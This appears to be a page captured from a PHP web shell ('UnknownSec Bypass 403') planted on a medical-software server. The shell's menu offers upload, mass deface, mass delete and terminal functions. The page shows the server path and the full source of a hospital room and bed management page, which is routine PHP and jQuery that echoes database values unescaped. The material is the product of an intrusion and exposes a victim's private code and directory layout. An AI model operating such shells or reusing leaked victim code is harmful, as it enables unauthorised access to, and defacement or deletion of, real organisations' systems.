UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
mst_room_info.php
<?php include "top1.php";?> <head> <link href="dist/jquery-editable-select.min.css" rel="stylesheet" /> </head> <!-- /inner_content--> <div class="inner_content"> <!-- /inner_content_w3_agile_info--> <!-- breadcrumbs --> <div class="w3l_agileits_breadcrumbs"> <div class="w3l_agileits_breadcrumbs_inner"> <ul> <li><a href="dashboard.php">Dashboard</a><span>«</span></li> <li>Manage Room Info</li> </ul> </div> </div> <!-- //breadcrumbs --> <div class="inner_content_w3_agile_info two_in"> <h2 class="w3_inner_tittle">Manage Room Details</h2> <!--/forms--> <div class="forms-main_agileits"> <!--/forms-inner--> <div class="forms-inner"> <!--/set-1--> <div class="set-1_w3ls"> <div class="col-md-4 button_set_one agile_info_shadow graph-form"> <h3 class="w3_inner_tittle two">Room Info </h3> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <div class="form-body"> <div class="form-group"> <label for="testRoomCategory">Room Category Name</label> <select name="testroomcategory" id="testroomcategory" class="form-control1" style="font-size: 14px; width: 100%;"> </select> </div> <div class="form-group"> <label for="testSubRoomCategory">Room Sub Category Name</label> <select name="testsubroomcategory" id="testsubroomcategory" class="form-control1" style="font-size: 14px; width: 100%;"> </select> </div> <div class="form-group"> <label for="testBuildingFloor">Building Floor</label> <select name="testbuildingfloor" id="testbuildingfloor" class="form-control1" style="font-size: 14px; width: 100%;"> </select> </div> <div class="form-group"> <label for="testRoomNo">Room No.</label> <select name="testroomno" id="testroomno" class="form-control1" style="font-size: 14px; width: 100%;"> </select> </div> <div class="form-group"> <label for="testBedNo">Bed No.</label> <input type="text" class="form-control" id="testbedno" name="testbedno" placeholder="Please enter brd no. here..."> </div> <button type="submit" class="btn btn-default" id="btnsave" name="btnsave" onclick="curdroomdetails();">SAVE</button> <button type="submit" class="btn btn-default" id="btnclear1" name="btnclear1" onclick="clear1();">CLEAR</button> </div> </div> <div class="col-md-8 graph-form general agile_info_shadow"> <h3 class="w3_inner_tittle two">Room Info List </h3> <div class="form-body" style="overflow-x:auto;"> <?php $sql= "SELECT * from roominfotb where isdeleted='".$gnotdeleted."' order by roomid DESC"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <table id="studtable" class="table table-striped table-bordered"> <thead> <tr> <th>No.</th> <!-- <th>ID</th> --> <th>Room Category</th> <th>Room Sub Category</th> <th>Building Floor</th> <th>Room No</th> <th>Bed No</th> <th></th> <th></th> </tr> </thead> <tbody> <?php $serial= 1; while ($row = mysqli_fetch_assoc($result)) { ?> <tr> <td><?php echo $serial ?> </td> <!-- <td><?php echo $row['roomid']; ?> </td> --> <td> <?php echo $row['roomcategory']; ?> </td> <td> <?php echo $row['roomsubcategory']; ?> </td> <td> <?php echo $row['buildingfloor']; ?> </td> <td> <?php echo $row['roomno']; ?> </td> <td> <?php echo $row['bedno']; ?> </td> <td><button onclick="edit(<?php echo $row['roomid']; ?>);"><i class=" glyphicon glyphicon-pencil"></i></button></td> <td><button onclick="remove(<?php echo $row['roomid']; ?>);"><i class="glyphicon glyphicon-trash"></i></button></td> </tr> <?php $serial++; } } ?> </tbody> </table> </div> </div> <div class="clearfix"> </div> </div> <!--//set-1--> </div> <!--//forms-inner--> </div> <!--//forms--> </div> <!-- //inner_content_w3_agile_info--> </div> <!-- //inner_content--> <script src="dist/jquery-editable-select.js"></script> <script type="text/javascript"> function getroomcategory(val) { var identifier = 1; $.ajax({ type: "Post", url: "get_room_details.php", data: '&identifier=' + identifier, success: function(res) { var data = JSON.parse(res); var sel = $("#testroomcategory"); sel.empty(); $("#testroomcategory").append('<option>Select Category</option>'); for (var i = 0; i < data.length; i++) { if (data[i].tname == val) { sel.append('<option value="' + data[i].tname + '" selected=true>' + data[i] .tname + '</option>'); } else { sel.append('<option value="' + data[i].tname + '">' + data[i].tname + '</option>'); } } $('#testroomcategory').editableSelect(); /// $("#state").html(data); } }); } function getroomsubcategorydetails(val) { var identifier = 2; $.ajax({ type: "Post", url: "get_room_details.php", data: '&identifier=' + identifier, success: function(res) { var data = JSON.parse(res); var sel = $("#testsubroomcategory"); sel.empty(); $("#testsubroomcategory").append('<option>Select Category</option>'); for (var i = 0; i < data.length; i++) { if (data[i].tname == val) { sel.append('<option value="' + data[i].tname + '" selected=true>' + data[i] .tname + '</option>'); } else { sel.append('<option value="' + data[i].tname + '">' + data[i].tname + '</option>'); } } $('#testsubroomcategory').editableSelect(); /// $("#state").html(data); } }); } function getbuildingfloor(val) { var identifier = 3; $.ajax({ type: "Post", url: "get_room_details.php", data: '&identifier=' + identifier, success: function(res) { var data = JSON.parse(res); var sel = $("#testbuildingfloor"); sel.empty(); $("#testbuildingfloor").append('<option>Select Category</option>'); for (var i = 0; i < data.length; i++) { if (data[i].tname == val) { sel.append('<option value="' + data[i].tname + '" selected=true>' + data[i] .tname + '</option>'); } else { sel.append('<option value="' + data[i].tname + '">' + data[i].tname + '</option>'); } } $('#testbuildingfloor').editableSelect(); /// $("#state").html(data); } }); } function getroomdetails(val) { var identifier = 4; $.ajax({ type: "Post", url: "get_room_details.php", data: '&identifier=' + identifier, success: function(res) { var data = JSON.parse(res); var sel = $("#testroomno"); sel.empty(); $("#testroomno").append('<option>Select Category</option>'); for (var i = 0; i < data.length; i++) { if (data[i].tname == val) { sel.append('<option value="' + data[i].tname + '" selected=true>' + data[i] .tname + '</option>'); } else { sel.append('<option value="' + data[i].tname + '">' + data[i].tname + '</option>'); } } $('#testroomno').editableSelect(); /// $("#state").html(data); } }); } function remove(id) { var id = id; try { var urlgetcode = 'get_roominfo.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&id=' + id, dataType: 'json', async: true, cache: false, success: function(data) { $('#hdid').val(data.id); $('#testroomcategory').val(data.roomcategory); $('#testsubroomcategory').val(data.roomsubcategory); $('#testbuildingfloor').val(data.buildingfloor); $('#testroomno').val(data.roomno); $('#testbedno').val(data.bedno); document.getElementById("btnsave").innerHTML = "REMOVE"; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function edit(id) { var id = id; try { var urlgetcode = 'get_roominfo.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&id=' + id, dataType: 'json', async: true, cache: false, success: function(data) { $('#hdid').val(data.id); $('#testroomcategory').val(data.roomcategory); $('#testsubroomcategory').val(data.roomsubcategory); $('#testbuildingfloor').val(data.buildingfloor); $('#testroomno').val(data.roomno); $('#testbedno').val(data.bedno); document.getElementById("btnsave").innerHTML = "UPDATE"; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function clear1() { $('#hdid').val(""); $('#testroomcategory').val(""); $('#testsubroomcategory').val(""); $('#testbuildingfloor').val(""); $('#testroomno').val(""); $('#testbedno').val(""); document.getElementById("btnsave").innerHTML = "SAVE"; } function curdroomdetails() { var flag = true; var inputField1 = document.getElementById("testroomcategory"); if (inputField1.value == "") { flag = false; alert("Please enter room category."); document.getElementById("testroomcategory").focus(); return false; } var inputField2 = document.getElementById("testsubroomcategory"); if (inputField2.value == "") { flag = false; alert("Please enter room sub category."); document.getElementById("testsubroomcategory").focus(); return false; } var inputField3 = document.getElementById("testbuildingfloor"); if (inputField3.value == "") { flag = false; alert("Please enter building floor"); document.getElementById("testbuildingfloor").focus(); return false; } var inputField4 = document.getElementById("testroomno"); if (inputField4.value == "") { flag = false; alert("Please enter room no"); document.getElementById("testroomno").focus(); return false; } var inputField5 = document.getElementById("testbedno"); if (inputField5.value == "") { flag = false; alert("Please enter bed no"); document.getElementById("testbedno").focus(); return false; } var roomcategory = document.getElementById("testroomcategory").value; var roomsubcategory = document.getElementById("testsubroomcategory").value; var buildingfloor = document.getElementById("testbuildingfloor").value; var roomno = document.getElementById("testroomno").value; var bedno = document.getElementById("testbedno").value; var id = document.getElementById("hdid").value; var btnopration = document.getElementById("btnsave").innerHTML; try { if (flag == true) { var urlgetcode = 'mst_curd_roominfo.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&roomcategory=' + roomcategory + '&roomsubcategory=' + roomsubcategory + '&buildingfloor=' + buildingfloor + '&roomno=' + roomno + '&bedno=' + bedno + '&id=' + id + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(data) { alert(data); window.location.href = "mst_room_info.php"; $('#hdid').val(""); $('#testroomcategory').val(""); $('#testsubroomcategory').val(""); $('#testbuildingfloor').val(""); $('#testroomno').val(""); $('#testbedno').val(""); }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } $(document).ready(function() { getroomcategory(""); getroomsubcategorydetails(""); getbuildingfloor(""); getroomdetails(""); $("#studtable").DataTable({ bLengthChange: true, "iDisplayLength": 10, bInfo: false, responsive: true, "bAutoWidth": false }); }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec